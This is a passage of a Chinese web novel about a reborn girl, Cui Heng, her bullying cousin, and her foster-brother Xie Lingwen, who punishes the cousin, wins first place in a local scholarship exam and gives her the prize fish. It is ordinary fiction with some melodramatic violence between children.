方丈亲自为崔蘅沏茶,瓷器清脆的碰撞声让她的心稍稍平静下来。
“方丈知晓小女来所为何事?”她试探地开口。
“施主还未求签吧?”方丈没有回答她的花,反而命小沙弥拿来签筒,“请施主先行问签。”
崔蘅看了一眼笑容平和的方丈,接过签筒试着晃了晃,竹签碰撞,掉出三根,落在石板上发出几声脆响。
“三根?”她讶然。
“佛祖之意深不可测。”方丈眉眼含笑,弯腰捡起竹签一一放在茶案上。
“一为下签,体人生八苦,所求不得,死亦不可瞑目。”方丈将竹签缓缓推到崔蘅面前,苍老的嗓音浑厚沉稳,“二为中签,一生顺遂,无病无忧,安康和乐,子孙满堂。”
“三亦为下签,半生凶险,忧患丛生,若想拨云见日,必抽筋扒骨。”
崔蘅拿起第一支签,眉头蹙起。
她前世确实死不瞑目,第一支签能对上,可这后两支又为何意?是身体原主的吗?
“小女有事求方丈相助。”崔蘅紧紧地捏着竹签,跪到蒲团上,一拜伏地,“我原本只是一缕孤魂,无意抢夺他人身体,却不知为何一睁眼便在这个小娘子身体中醒来,请您将我引向黄泉,尽快让小娘子和家人团聚吧。”
“施主莫急。”方丈把她扶起来,提起茶壶为她倒了一盏热茶,雾气氤氲中,方丈缓声道,“佛曰,此有故彼有,此生故彼生,此无故彼无,此灭故彼灭。施主不若想想,你为何会在这具身体之中。”
“为何…”崔蘅看着茶汤中自己的倒影,倏尔抬眼,“因为我们同名同姓,长相也十分相像。”
方丈轻笑:“可世上真的会有不仅同姓,就连长相也不分你我的两个人吗?”
是啊……
世上真的会有那么巧合的事吗?
屋外风起,檐角风铎随风响起,声声清脆,声声急促。
方丈站起身,低眉望着怔忪的崔蘅,“施主,风愈发大了,快请回吧,有人已候你多时了。”
云海游移,风吹乱谢令闻的鬓发,他束手站在桂树下默背,风姿挺秀的少年郎惹得许多小娘子投去目光。
“谢哥哥!”
寺内出来一个娇娇俏俏的小娘子,只一声便让原本不闻窗外事的俊秀少年抬眼望过去。
小娘子气喘吁吁地在他面前停下,拿出一个红符递过去,“谢哥哥,这是我为你求的过考符,你去择鱼宴那天一定要带上,方丈开过光呢。”
谢令闻本不信这些,可是崔蘅给的,他便觉得有用。
“好。”他接过红符,目光落在小娘子的眉眼上,忽地蹙起眉,“眼睛怎么红了?”
崔蘅眨了眨眼,笑道:“方才烧香的时候烟大熏着了,大概是佛祖太喜欢我了。”
谢令闻的目光落在她脸庞上,她生得明眸皓齿,玉雪可爱,佛祖喜欢也是应当的。
“谢哥哥,低下头。”
崔蘅拽着他的衣袖踮起脚,将他头发上和身上的桂花捻下来。
“谢哥哥,择鱼宴快开始了,你害怕吗?”
谢令闻抿起唇,还未回答,便听她继续道:”你不要害怕,届时我和阿爹阿娘陪你过去,刚刚我在佛祖面前替你磕了好几个头,他会保佑你的。”
温热的指尖轻轻蹭过他的耳廓,小娘子嗓音轻柔,带着神奇的力量抚平他内心深处的涟漪。
“嗯。”谢令闻睫毛轻颤,低声说,“我不害怕。”
23.童养夫
到了天快黑时,崔显和丽娘回来了。
崔蘅正在店里忙着干活,听见门口的动静,赶忙跑出去迎。
“阿爹阿娘!”小娘子像鸟儿投林般扑向阿娘的怀抱。
丽娘接住女儿,笑着摸了摸她乌黑的脑袋,“今日在家乖乖听你谢哥哥的话了吗?”
崔蘅自母亲怀里探出头,娇声娇气地道:“当然啦,我和谢哥哥一起看了好长时间的书呢。”
谢令闻淡淡看一眼有些心虚的她,没拆穿,“嗯,她今日没有乱跑。”
“今天那么听话啊,正巧阿娘给你们买了糖葫芦。”
丽娘话音未落,崔显便冷着脸揪着一个肥头大耳的胖小子走了过来,怒道:“我就说不能把他和糖葫芦放在一起,这小子把阿蘅和令闻的也吃了。”
“你又没说不能吃!放开我!”小胖子扭着身体,脸上的肉随着动作上下直抖,挤得眼睛只剩一条缝。
崔蘅勉强自一堆肥肉中找到五官拼凑出一个人形,“这是……堂兄?”
“今日我们去村里问粮食的事,你大伯娘便让我们顺路将他带过来了。”崔显冷哼道,“也不知道让他来有什么用,他怕是会觉得择鱼宴是吃鱼的。”
“两个糖葫芦而已,莫要让旁人看了我们家笑话。”
丽娘把崔安从崔显手里解救出来,给他打好地铺后便进了灶房忙活,崔显在书房检查谢令闻的课业,一家人各忙各的,崔蘅便去看新买的牛车。
她正喂着牛吃草,后背忽然被什么东西砸了一下。
崔蘅回头望过去,崔安正坐在台阶上,一只手拿着馒头啃,另一只手里攥着几个小石子,见她看过来,也不躲,贱兮兮地朝她笑。
最近家里忙,谢令闻又忙着预备择鱼宴,崔蘅不想给家人添麻烦,便扭过头不理他。
崔安以为崔蘅怕了,又拿起小石子砸过去。
他有些小聪明,知道砸背砸腿是小打小闹,叔叔婶婶不会拿他怎么样,愈发肆无忌惮。
崔蘅把最后一把草喂给黄牛,拍掉手上的尘土,瞪他一眼,转身进了灶房帮阿娘烧火。
她坐到灶台前的小板凳上,“阿娘,今日可还顺利?”
“还算顺利。”丽娘正揉着面,闻言道,“全靠你阿爹的三寸不烂之舌,牛车的价低了很多,工人也正在寻,想来过几天就有消息了,粮食却是要等明年再收,这个时候仓里的都是陈年旧谷了。”
崔蘅点点头,将柴火塞进灶膛,沉吟片刻道:“阿娘,咱们粮食寻好了,也该改改酿酒的法子。我前些日子去那家新开的酒馆,听闻他们酒全酿两遍,酿出的酒醇厚香浓,要比一遍的酒好喝不少。”
丽娘惊愕地转过头:“你跑去人家的酒窖了?”
独特的酿酒技艺就是摇钱树,人家都是藏着捂着,根本不可能随随便便让外人知晓。
崔蘅自然也不可能知道,这法子是她前世听御酒司的师傅说的。
宫中侍奉天子饮食衣行的皆是万里挑一的能人,他们手指缝里随随便便露出一点东西都够老百姓琢磨半辈子,她也尝过御酒司酿的酒,确实不是凡品。
“我和齐抚州喝酒的时候听到的。”崔蘅撒娇道,“阿娘便试试吧,不麻烦。”
丽娘点了点头,“确实不是什么难事,今晚我便试一试。”
等着再酿的酒出窖这几日,酒馆依旧繁忙,夫妻俩全在前头忙活。崔蘅没去卖烤番薯,她怕崔安要吃,他肚大如牛,吃起来可不会客气,到时候定要亏本。
谢令闻在书房看书,她便把门窗关得严严实实,自己在门外扎马步,看着不让崔安打扰。
最近她一直在练基本功,臂力与耐力较以往增进不少,这次为探自己的底,她在胳膊上吊了两块砖。
崔安刚睡醒,肚子正饿着,远远地便朝崔蘅喊:“喂!哪里有吃的?”
崔蘅皱起眉,不耐烦地道:“自己去灶房找。”
“你给我找!”崔安一屁股坐到台阶上,一副大爷做派。
崔蘅可不惯着他,自顾自扎马步。
崔安在家里被当成祖宗供着,过得是穿衣伸手饭来张口的日子,头次见有人敢不搭理他,他随手将自己吃剩的枣核扔过去,“你聋了吗!?”
枣核不偏不倚地擦过崔蘅的眼皮,差点砸中她的眼睛。
崔蘅气得攥紧拳头,刚想撸起袖子去教训崔安,他忽然指着书房道:“你敢动我,我就去弄他,让他看不了书也去不了择鱼宴。”
崔蘅冷下脸,去灶房拿了块蒸糕给他。
崔安咬下一块蒸糕,惊奇地看着默不作声又站到书房前扎马步的崔蘅。
打小就天不怕地不怕的崔蘅竟然也学会了忍气吞声?
在崔安的记忆里,崔蘅是他见过除婶婶外最彪悍的娘子。婶婶敢抢阿爷的拐杖追着阿奶打,排第一;婶婶的女儿崔蘅刚学会说话就指着阿奶骂她偏心眼、黑心肝,排第二。
他见崔蘅整天粘着书房里头那个瘦得似干柴的书呆子,方才情急之下想出的法子,竟还真被他歪打正着摸到崔蘅的七寸。
崔安得意忘形,翘着二郎腿随意使唤崔蘅。
她倒脾气好,一声不吭地忙前忙后,在深秋都出了一头汗。
“哎,你为何对他比对我这个堂兄还好啊?”他舒坦地晒着太阳,眯起只剩一条缝的眼睛看着崔蘅。
崔蘅没搭理他,继续扎马步,额头上的汗珠一直滑落到鼻尖,一颗颗砸到地上。
“嘶——”
崔安像是突然反应过来什么,倒吸一口冷气,猛地放下二郎腿翻坐起来,瞪着眼睛道,“他不会是小叔给你找的童养夫吧!?”
崔蘅瞥了眼崔安,不明白他那脑子里除了肥油还剩什么。
她把砖头从自己胳膊上放下来,打了一盆井水,把自己的脸整个浸入水中。沁凉的冷水驱散燥热,她顿感清爽,正要抬起头时,一只手却猛地将她又按回水里。
崔蘅猝不及防被灌一口水,按住盆沿正想使力对抗按着她的手,后脑勺却猛地一空。
她抬起头抹了把脸上的水,只见身后空空荡荡,崔安好端端地在廊下坐着,朝她贱兮兮地笑:“他是不是你童养夫,告诉我我就不欺负你了。”
崔蘅气得咬牙切齿。
她这个堂兄有点小聪明,做坏事往往会留余地,叫对方生气却又不能真怎么样他,比苍蝇还讨人嫌。
崔蘅擦干脸上的水,转身进了灶房。
眼看着她依旧拿自己当空气,崔安恼了,正要跟上去再教训一下她,却见她端着一叠蒸糕出来。
“哥哥,咱们边吃边说。”崔蘅跪坐到他身边,夹起一片糕,乖巧地道,“我来喂哥哥。”
小娘子柔顺的模样大大取悦了崔安,他仰躺到椅子上,张嘴接过蒸糕,心满意足地道:“这才听话,哥哥又不会害你。我跟你说,那个谢令闻,你可不能嫁他,他一穷二白,指不定就是想来吃咱们家绝户……”
崔蘅唇角噙着笑,一边听他说话一边赞同地点头,手上的动作越来越快,直把崔安的嘴塞得合不上。
“妹……不要了……”崔安噎得直翻白眼,“水……水……”
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“哎呀,阿娘好像喊我了,哥哥你慢慢吃,我去寻阿娘了。”崔蘅对他的呼救恍若未闻,走之前往他嘴里又塞了块糕,还贴心地用筷子帮他朝里捣了捣。
崔安憋得脸通红,扑腾着想起身去找水喝,结果连人带椅子摔在台阶上,疼得他涕泗横流。
在他绝望之际,书房的门忽然打开,青衫少年立于廊下,漆黑的双目直直地望着他。
他蹲下来替崔安解开绑在椅子上的衣带,嗓音温和:“想喝水吗?”
崔安赶紧抠掉嗓子里头噎着的糕,含着泪拼命点头。
谢令闻扶起他,领着他到灶房。
崔安喜不自胜地冲进去,刚连滚带爬地摸到水缸,脚边就不知道被什么绊住,倒栽葱一样掉进了缸里。
他生得肥胖,肉溢了满满一缸,缸里的污水被挤出来,溅湿谢令闻的衣角。
崔安扒着缸沿探出头,怒瞪着谢令闻,“你敢……”
剩下的话淹没在水中,变成一串串水泡。
缸里的水如沸腾一般,崔安拼命扑腾着手脚想站起来,头顶上的那只手却像山一般稳稳压着。就在他即将失去意识时,头顶上的手忽然转而将他拽出了水。
崔安的脸泡得更加肿胀,眼睛被水浸的又涩又痛,他似死鱼般拼命张大嘴呼吸,缓过神后就要破口大骂,却见那书呆子背着光站在他面前,面色平静,瞳仁黝黑,看着他挑起一抹淡笑:“喝够了吗?”
崔安咽了咽唾沫,脸色煞白,“够、够了。”
谢令闻微微颔首,朝他伸出手,他顿时狠狠打了个冷颤,猛地闭上眼,可谢令闻只是将他的袖子理了理,让崔安松一口气。
“这只手砸的她。”谢令闻的嗓音很淡,崔安的心却一下子提了起来。
手腕碰上一抹冰凉,有什么东西反照着光,直晃人眼,他定睛一看,差点晕死过去。
“我不欺负她了!我不欺负她了!”崔安又哭又叫,直朝后缩,可水缸就那么大一点,他怎么退,那刀都紧紧贴着手腕。
他能看出来,这人是真想砍他的手。
缸里的水溅到谢令闻脸上,自他鬓角、下巴蜿蜒而下,钻进衣领,一片冰冷。
他眨了眨眼,眼神逐渐清明,将刻刀收回,冷冷地看着崔安,“往后不要叫她妹妹。”
他松开手,转身离去。
晚饭时,崔蘅听说崔安掉进水缸,笑得直不起腰。
谢令闻恰好进来,她笑着打了声招呼,目光落到他身上,有些疑惑:“谢哥哥怎么换了衣裳?”
他白日穿的还是青衣,现下却换了身灰色长袍。
谢令闻面色不变,简短道:“天凉。”
话音刚落,便听一道喷嚏声,二人一起看过去,见崔安瑟瑟缩缩地蹭着墙进来,一触即二人的目光,顿时缩了缩脑袋。
崔蘅挑眉,崔安怎么像老鼠见了猫似的?
她身边的谢令闻站起来去拿筷子,刚伸出手,崔安忽然尖叫一声抱住了头。
谢令闻顿住,撩起眼皮。
崔蘅看看这个又看看那个,有些不明白状况。
崔显和丽娘进来,也一脸莫名其妙:“怎么都干坐着?快吃饭啊。”
谢令闻将筷子分好,给到崔安时,目光淡淡掠过他。
崔安把脸埋在碗里,头都不敢抬起来。
他好害怕好想哭,这个书呆子的眼睛真的好吓人,他还随身带刀!幸好明日便是择鱼宴,明日过后他就要回家,若是崔蘅真的招这个疯子做赘婿,那他以后便再也不要来叔叔婶婶家了!
24.考试
天还没亮透,泛着一层薄薄的灰,夜幕中挂着几颗孤星,崔家已经灯火通明。
崔蘅洗漱好后,随便抹了把脸便急忙朝外跑,“阿娘,我去叫谢哥哥了!”
小娘子的脚步声远远地便传进谢家院子,原本趴在谢令闻脚下昏昏欲睡的大黄瞬间竖起耳朵,摇着尾巴蹿出门。
“大黄,谢哥哥已经醒了吗?”小娘子的笑声越来越近。
谢令闻方穿上外袍,正在系带子,听见这娇俏的笑声,动作顿了顿,迅速整理好衣衫。
崔蘅进来时,看到他手持一卷书,穿戴整齐地坐在窗下翻看。
“谢哥哥昨日睡得如何?”
小娘子今日穿了一身红衣,鲜亮的颜色,把屋子也衬得亮亮堂堂。
“尚可。”他抬起眼,放下书卷。
二人一起往崔家去。
崔安已经在吃早食,丽娘怕出错,备下的都是些热腾腾的干食。
吃完早食后,一行人便朝宏德书院去。
历年来择鱼宴开试皆在宏德书院举行,参加考试的学生要经过检验搜身才许进入,考试期间不可擅自走动,舞弊者将被申氏所有产业拒绝接待,舞弊名单还会张贴在书院门外一年时间。科举开始后,青州试场的考官也会特别注意在择鱼宴舞弊过的考生。
即便惩罚如此严苛,每年依旧不乏有铤而走险者。
他们到书院时,现场已有被发现夹带字条而被轰出门的考生,那孩子的父母正跪在书院护卫面前磕头,求他们放孩子进去。
最终自然是一家人都被驱逐。
“君子慎独,应光明坦荡。”崔显无奈地叹了口气,转身叮嘱谢令闻和崔安,“你们好好考,不要想着用其他阴私手段。”
谢令闻躬身应了句是,崔安也点了点头。
崔显便让他们抓紧时间进去。
“谢哥哥!”崔蘅叫住他。
谢令闻回头,小娘子便笑着道:“我和阿爹阿娘等着你回家。”
他望着她的笑,轻轻点了点头。
书院内虽摩肩接踵,却异常安静,待考生入座后,随着一声清脆的铃响,考官发放下试题,谢令闻粗粗浏览一遍,心中有了大概,便提笔蘸墨开始作答。
来考试的皆是寒门子弟,年龄参差不齐,小至五六岁,大至十一二岁的都有,是以考的东西都很浅薄,大多是默写与简单的算术,只有最后一题要求考生写文章。
谢令闻这些天来一刻也不敢懈怠地看书,崔显书房里的书在短短十几日内被他翻过不下三遍,一看到试题,书里的内容便浮现在他眼前,他下笔如有神助,很流畅地答完了题。
崔安和谢令闻在同一间考舍,早就睡了过去,还因呼噜声太响被考官提醒好几次。
铃声再次响起,屋子里的考生们鱼贯而出,脸色各异。书院门前再一次热闹起来,父母们拉着自己的孩子,都忙着问考得如何,几家欢喜几家愁。
谢令闻一眼就看见人群中穿着红裙朝他招手的小娘子。
灰蒙蒙的天地中,唯独她一身红衣,艳丽似火。
待谢令闻走近,崔显轻轻拍了拍他的肩,笑呵呵地道:“去那么久该饿了,走吧,你丽姨已经做好饭在家等着了。”
“今天有蜜藕吃,我们快回家!”崔蘅走在前头开路,一副恨不得立马飞回去的架势。
崔安还困着,闷头跟在他们后头。
一路上,崔家人谁也没提试题,只谈今日吃什么,天气如何,连大黄啃了几块骨头都要拿出来说一说。
似乎他只是出趟门,并不是参加了一场足以能改变他人生的考试。
谢令闻听着父女俩的言笑声,心间的沉重与紧张消去大半。
书院前的人群渐渐散去。
申宴山睡眼惺忪地出来,下人们连忙团团围上来给他揉肩递水。
他身边的仆人友庆小心翼翼问:“郎君,题目写得如何?”
申宴山不耐烦地轻啧:“问问问,我答得怎样你能不知道?”
整个青州都知道申家长孙不爱读书只爱斗鸡摸狗,偏申宴山的父亲不肯放弃这个儿子,非要他下场来试试虚实。
申宴山写完姓名便直接趴在桌子上一睡不起,口水流了满桌,幸好答卷在结束之前干了,如若不然定又要多挨他爹几鞭子。
他伸了个懒腰,向自家马车走去,不经意间,余光飞过一抹红。
“绿颜红鬓,鲜艳夺目,这是哪家小娘子?”申宴山眯起眼睛,望着红色的身影逐渐远去。
“郎君,是红颜绿鬓。”友庆小声提醒。
“啧,这是重点吗?”
友庆被申宴山一脚踹了个仰倒,连忙爬起来扶正遮住眼睛的平定巾,朝那红衣小娘子望过去,“郎君,那小娘子身边的不是崔先生吗?”
“嘿,还真是……原来是她啊。”申宴山摸着下巴思索,“应是陪家里兄长来考试的。”
他一巴掌拍歪友庆的平定巾,转身钻进马车,“赶紧回去,待名单出来我得问问我爹崔家人有没有考中。”
崔蘅已经到了家,用完晚食后,崔家夫妇忙着收拾酒馆,谢令闻在看书,她吃多了蜜藕在院中消食,肚子实在不舒服,她又挪进书房四仰八叉地躺在炭盆边躲懒。
炭火暖烘烘地烤着,让崔蘅昏昏欲睡。
“地上凉。”谢令闻屈起修长的手指,轻轻敲了敲书案。
崔蘅不情不愿地坐起来,皱着脸苦哈哈地道:“肚子真的好撑。”
“不舒服?”谢令闻皱起眉,放下书。
崔蘅点了点头,她坐着躺着都感觉肚子里似乎有什么东西在朝上顶,便扶着谢令闻从地上爬起来,把额头抵在他的胳膊上,瓮声瓮气地道:“早知道不吃那么多了。”
她紧贴着他,像个小火炉,身上到处都热腾腾的。谢令闻的手心出了汗,浑身紧绷,“我去叫丽姨来看看。”
他要站起身,被崔蘅死命地攥住衣角,“不行,若是告诉阿娘,她从此以后都不会许我吃蜜藕了。”
见他蹙起眉,她索性拽过他的袍子铺在地上翻身一躺,耍赖道:“谢哥哥若是告诉阿娘,我往后就不和你玩了。”
分明是孩子气的话,谢令闻却抿紧唇,低声道:“可你不舒服。”
“还好啦,揉揉便好一些。”崔蘅揉着自己的肚子,声音越来越模糊,“揉一揉就舒服……”
小娘子一手抓着他的袍子,一手搭在自己的肚子上,脸颊绯红,呼吸均匀,乌黑的长发柔顺地搭在她的肩上,如积云堆雪。
谢令闻站起身,把袍子脱下来裹住她,犹豫了一下,将手掌覆在她的小腹上转圈轻揉。
小娘子在睡梦中忍不住哼唧了一下,似是觉得痒,扭开身子躲掉他的手,迷迷糊糊地睁开眼睛。
谢令闻身子一僵,止住呼吸。
“谢哥哥……”她在看清他后,又闭上眼睛,完全向他敞开肚子,像小动物朝最信任的人摊开柔软的肚皮。
“嗯,是我。”谢令闻垂下眼,继续帮她揉肚子,指尖的温度传遍全身,烫得他心尖发颤。
崔蘅重生后第一次没有做梦,完完整整的睡了个好觉。
第二天一早
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,她还在睡梦中,忽然感觉后背凉飕飕的。她翻了个身,皱着眉睁开沉重的眼皮,瞧见窗边站着一个黑乎乎的人影,猛一看像是头大黑熊。
崔蘅的头皮顿时炸开,瞌睡飞得无影无踪,爬起来拎起枕头就朝外砸,尖叫道:“阿爹阿娘快跑!家里进熊瞎子了!”
窗外响起一道惨叫,听起来像人,崔蘅愣了一下,连忙下床打开门。
崔安抱着枕头坐在地上,额头上的包以肉眼可见的速度鼓起肿胀,疼得面目扭曲,“你一个姑娘家,怎得力气如此大!?”
因伤了堂兄,崔蘅被罚面壁半个时辰。
丽娘给崔安用鸡蛋滚着额头。
“我一片好心,想着妹……她睡那么久该饿了,想叫她起来吃完饭再睡,谁承想她一睁开眼就拿枕头砸我,还叫我熊瞎子。”崔安这回有人撑腰,又想起上次被她那童养夫欺辱的事,委屈地直抹眼泪,“你们都欺负我,我不在这里待了,我要回家。”
崔蘅不可置信地扭过头:“你一个顶我三个,还说我欺负你?”
“不是你,是他!”崔安指着崔蘅身边正翻着书的谢令闻道,“他欺负我!欺负得我可惨了!”
谢令闻缓缓掀起眼皮望向崔安,崔安抖了抖,叫道:“叔叔婶婶你们看,他还瞪我!”
“你污蔑我便罢了,还敢把脏水往谢哥哥身上泼!?”崔蘅怒气冲冲地撸起袖子,一把揪住崔安的衣领,“我看是方才那下不够狠,还没把你脑子里的猪油震出来!”
“阿蘅,回去站好。”崔显加重语气。
崔蘅不服气,站着没动。
崔显无奈,转而问崔安:“那你说,令闻为何欺负你。”
崔安嗫喏半天也没说出个所以然来。
“崔安,你是不是去招惹谢哥哥了!”崔蘅一眼便看出他面上的心虚。
“我没有!”崔安惊恐地大叫道,“我哪敢去招惹他这个疯子!”
“你叫谁疯子!?”崔蘅一脚踹在他的肚皮上,把他踹的在地上滚了好几圈才停下。
眼瞧着女儿如猛虎一般就要扑上去,丽娘一把捞回她。
小孩子拌拌嘴可以,若要真动手,老家那边指定要找过来闹事,对崔蘅的名声也不好。
闹剧以崔蘅罚写六张大字,崔安赔获三个鸡腿结束。
崔蘅静不下心,写的字堪比鸡挠地,干脆趴在书案上画王八。
谢令闻坐在一旁,已经写完一张。
崔蘅画完一只王八,往他身边靠了靠,神秘兮兮地问:“谢哥哥,你是怎么教训的崔安啊?”
谢令闻的手一顿,笔尖的墨滴在宣纸上晕成一团。
他攥紧笔杆,“你知道?”
“崔安那个性子,受点委屈恨不得昭告天下。”崔蘅轻啧,“你竟然一次就把他收拾老实了,真厉害。”
不是他厉害,是她顾及太多,又太心软。
“为什么知道还帮我?”谢令闻望向杵着脸看他的小娘子。
“难道我还帮着整天欺负我的崔安吗?”
很合理的回答,可他总觉得心里有些空。
谢令闻不明白为什么心里会空,便点了点头,垂下眼继续写字,只是下笔阻塞,不似方才流畅。
崔蘅漫不经心地用手搓着宣纸一角。
其实不是因为她厌恶崔安,是前世他曾帮她瞒住过一个足以使她死无葬身之地的秘密。
她以为他有所顾忌才隐瞒许久,很久以后才恍然明白,不是他算计太多,是他本就没想过用那种手段赢她。
恩重如山,她不得不报。
25.一甲
已近十二月,天气渐渐变得阴晦,太阳极少出来,即使冒头也只散些光,没有一丝热气儿。
择鱼宴考试的结果还未出,崔显回了书院,谢令闻因是参试者,需要回避,这几日都只能待在家里
崔蘅换上碎花夹袄,又开始蹲在门口卖烤番薯。
天气冷,孩童们看到热乎乎金灿灿的烤番薯就走不动道,撒泼打滚也要买一个。
这几天的生意越来越好,崔蘅赚得盆满钵满。
崔安在崔蘅旁边儿蹲着,眼巴巴地盯着她瞧。
他因也要等择鱼宴结果,只能在崔家再住一段日子,日日像尾巴似的跟着崔蘅,盼着她心情好赏一个烤番薯。
这天刚至晌午,本应在书院的崔显却出现在街头,崔蘅疑惑地站起身,还没来得及开口问,自南边忽然传来一阵隐隐约约的鞭炮声。
她心里突地一跳,“阿爹,是不是择鱼宴张榜了?”
崔显点了点头,面色凝重。
丽娘听到声音,连忙出来问:“怎么样?看到令闻的名字了吗?”
原本哄闹的酒馆不知何时变得异常安静,所有人都看着崔显。
崔显望向站在后门处的谢令闻,轻轻摇了摇头。
“没有?”丽娘急忙道,“你都看清了?”
崔显点点头:“我从上到下都看了。”
整个酒馆一片寂静,如乌云压顶,有人安慰谢令闻:“小郎君莫伤心,这择鱼宴不是科考,还有再来的机会。”
“是啊,你还年轻,莫要着急。”
“少年人将来闯得机会还多着嘞!”
“不一定是落榜。”崔显一句话便让众人安静下来,他缓声道,“诸位莫忘了,择鱼宴前三甲向来不列榜内。”
择鱼宴前三甲不在榜内,申氏会派家中器重的儿孙带着贺礼亲自登门,请荣获三甲之人择鱼。择鱼后,申氏将在申府设全鱼宴邀三甲参宴,还会以他们的名义设立粥棚,免费施粥三日,可谓声势浩大。
崔蘅原以为谢令闻没在榜中是因为其间出了什么差错,现下才放下心来,笃定道:“谢哥哥一定是前三甲。”
他前世可是没有任何助力还差点连中三元的人,证明他不仅有能力,还有很大的才华天赋。
“小娘子那么信任你家哥哥?”有人故意打趣,“那你哥哥若是没中该怎么办?”
“我哥哥生来便是要读书的,怎么可能不中!”
她的口气如此之大,不禁逗乐酒馆中的酒客,大家都笑起来,堂中的气氛稍稍松懈。
崔蘅扯着谢令闻的袖子,低声道:“谢哥哥,你莫要搭理他们,你一定会考上的。”
谢令闻看着小娘子认真的样子,低低地应了。
正要到饭点,酒馆里的人一个也没有走,大家虽都在聊着闲话,眼睛却时不时飘向门口。
忽听一阵马蹄声,心不在焉擦着桌子的店小二立马探出头去看,倏尔又失望地回来。
见众人都盯着他,他便道:“瞧着是申家三爷,往北去了。”
酒馆里响起叹息声,也已经有人等的不耐,撂下钱结账离开,落在谢令闻身上的目光已然从探究变成惋惜。
崔蘅看向谢令闻,这样令人焦急的时刻,他却还能坐得住看书,好似大家谈论的人不是他,一切与他无关。
她也有些等不及,便站出门外去瞧。
不多时,不远处来了一支浩浩荡荡的队伍,领头的是个中年男子,头戴网巾,身穿氅衣,冷肃沉稳。男子身边还跟着个小郎君,骑着通体乌黑的骏马,头戴紫金冠,身穿暗八仙银红色比甲,脚踩云头履,昂着头,像只高傲的大公鸡。
崔蘅认出是那个她去书院时被崔显罚过的申宴山。
即是申家人来,那便是有喜登门。
“申家人来了!”崔蘅喜不自胜,朝屋内喊道,“阿爹阿娘,申家人来了!”
酒馆霎时骚动起来,众人皆围去门外瞧申家人的模样。
申宴山利落地下了马,朝人群喝道:“崔家郎君在何……哎吆!爹你干嘛打我!”
“孽障闭嘴,早告诉你获一甲的是谢家郎君。”申大爷瞪儿子一眼,翻身下马,朝崔显作揖,“犬子无状,崔先生恕罪。中一甲的是谢家郎君,探路的下人说谢家锁着门,我才带人来崔先生这里寻他。”
“是,他在。”崔显微微颔首。
众人也自发让出一条路,人群散开,谢令闻一身青衣立于人后,眉目疏淡,面色平静。
他稳步向前,正要弯腰作揖,被崔显托住,“你是一甲,不必行礼。”
“是,不必多礼。”申大爷看着谢令闻,露出满意的笑,“今年试场,你独占鳌头,将来大有可为啊!”
谢令闻依旧沉静,躬身道:“大人谬赞。”
不骄不躁,十几岁的年纪便能经得住夸,太过沉稳。申大爷眯了眯眼,招呼下人上前,“来人,请一甲择鱼。”
队伍中暴起一声厉喝,几个膀大腰圆的汉子扛着腰粗的漆红木柱走上前,那柱子上吊着三条鱼,个个都有几米长,挂在杆子上还在乱扑腾。
“竟是鲥鱼、淮白鱼和黄河鲤!”有识货的人惊叹,“申家果真大手笔!”
“这三条鱼可都是我爹特地留下给一甲作贺礼的!”申宴山瞥向崔蘅,得意洋洋地道,“换做平常你们都不一定能见到。”
鲥鱼常作为贡品奉给天子,青州靠山近水,是鱼米之乡,名贵的鱼虽多,普通人家却也难见一回。
崔蘅与赵檐皆爱吃鱼,每次得了名鱼,就算只一条,赵檐也总会留下半个给她。天下名贵之鱼,托赵檐的福,她已经尝了个遍,是以并不觉得面前这三条鱼稀奇。
见崔蘅无动于衷,申宴山顿觉她是自形惭愧,已经不敢直视他了。
“一甲快请择鱼吧。”申大爷不敢再耽误,怕再待下去他这傻儿子又说出什么惊天动地的话来。
众人都望向谢令闻。
有人忍不住替他出主意:“选鲥鱼,鲥鱼价贵,万金难求!”
“是啊,选鲥鱼,鲥鱼好。”
谢令闻的目光划过三条鱼,又转而望向崔蘅,低声问:“想吃哪条?”
众人哗然。
那么名贵的鱼,他竟然要一个都不懂的小娘子去选,还要拿来吃!
“无知小儿!暴殄天物!”有性子急的,恨不得亲自上前去替谢令闻选。
丽娘也想上前阻拦,被崔显握住手,轻轻摇了摇头。
崔蘅呆了一呆,“谢哥哥,这是你的鱼。”
她愣住时眼睛显得更圆了,像圆头圆脑的狸奴,让谢令闻觉得这鱼就该给她吃,“不过是条鱼,你喜欢哪个便要哪个。”
崔蘅见他面色认真,也不再客气,指着鲥鱼道:“我想吃这个。”
鲥鱼肉嫩,清蒸最美味。
“好,就选鲥鱼。”在众人惋惜的唉声叹气中,谢令闻作揖道谢,“谢大人赏鱼。”
申大爷使了个眼神,两个大汉拎下鲥鱼抬进崔家。
“下月初一,在下
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便在申府恭候谢郎君前来赏脸参宴。”
申大爷翻身上马,他身边的侍从敲响锣鼓,喊道:“十二月初一,择鱼宴一甲谢郎将于城南施粥!”
他们还要敲锣打鼓绕城一圈,择鱼宴的一半流程才算走完。
申宴山落在后头,想问问崔蘅来不来申府,被申大爷一把拽回去狠狠踹了一脚,“磨叽什么!还不滚回去抄书!老子真恨不得把你塞回你娘肚子里,丢人现眼的玩意儿!”
申宴山捂着屁股窜上马,见崔蘅没注意这边才松一口气。
崔家人都为谢令闻得一甲高兴,丽娘大手一挥,豪气地道:“今日我家有喜,在场各位酒钱折半,也给大家沾沾喜气!”
“老板大气!”人群沸腾起来,涌入酒馆中。
待只剩崔蘅与谢令闻二人,她才激动地扑上去,抓住他的手臂欣喜地道:“谢哥哥你考上了!还是一甲!”
申氏每七日会考评一次,届时前三甲还能获得申氏奖励的赏钱,以后谢令闻不仅读书不用花一分钱,以他的才学反而还能大赚一笔。
看着她喜悦的样子,谢令闻一直平静的眼睛中才露出几分笑意,“嗯。”
“我这几天一直穿红色,就想谢哥哥的学业和运气都能红红火火,一路高歌。”崔蘅在他面前转了一圈,裙摆飞扬,如燎原炽焰,“好看吗?”
原来她这几日一直穿红是为了他。
谢令闻垂眸看着她,轻声道:“好看。”
她穿什么都好看。
晚饭时,崔显拿出几贯钱交给谢令闻,“这是你的工钱,张书齐叫我转交给你,他让你不要再做侍书,将心思全放在读书上。”
“是。”谢令闻恭敬地应了,却没有去接钱,“这些钱便交由崔叔丽姨,近日令闻一直受二位长辈照拂,无以为报,只能先用这些微薄之意还恩,来日若有所成就,令闻必倾尽所有报答二位长辈。”
他撩袍下跪,被丽娘及时拦住,“男儿膝下有黄金,你这孩子怎得说跪就跪?”
崔显也道:“你的心意我们明白,只是你以后去书院少不了人情往来,用钱的地方不少,这钱我与你丽姨不能收。”
谢令闻还想开口,被崔显堵回去:“我们只等着你倾尽所有的那日,你可莫要让我们失望。”
他端正地行了一礼,郑重道:“令闻谨记。”
晚饭后,谢令闻将钱给了崔蘅。
小娘子抱着沉甸甸的钱,再次呆住:“谢哥哥,鱼给我,钱也给我?”
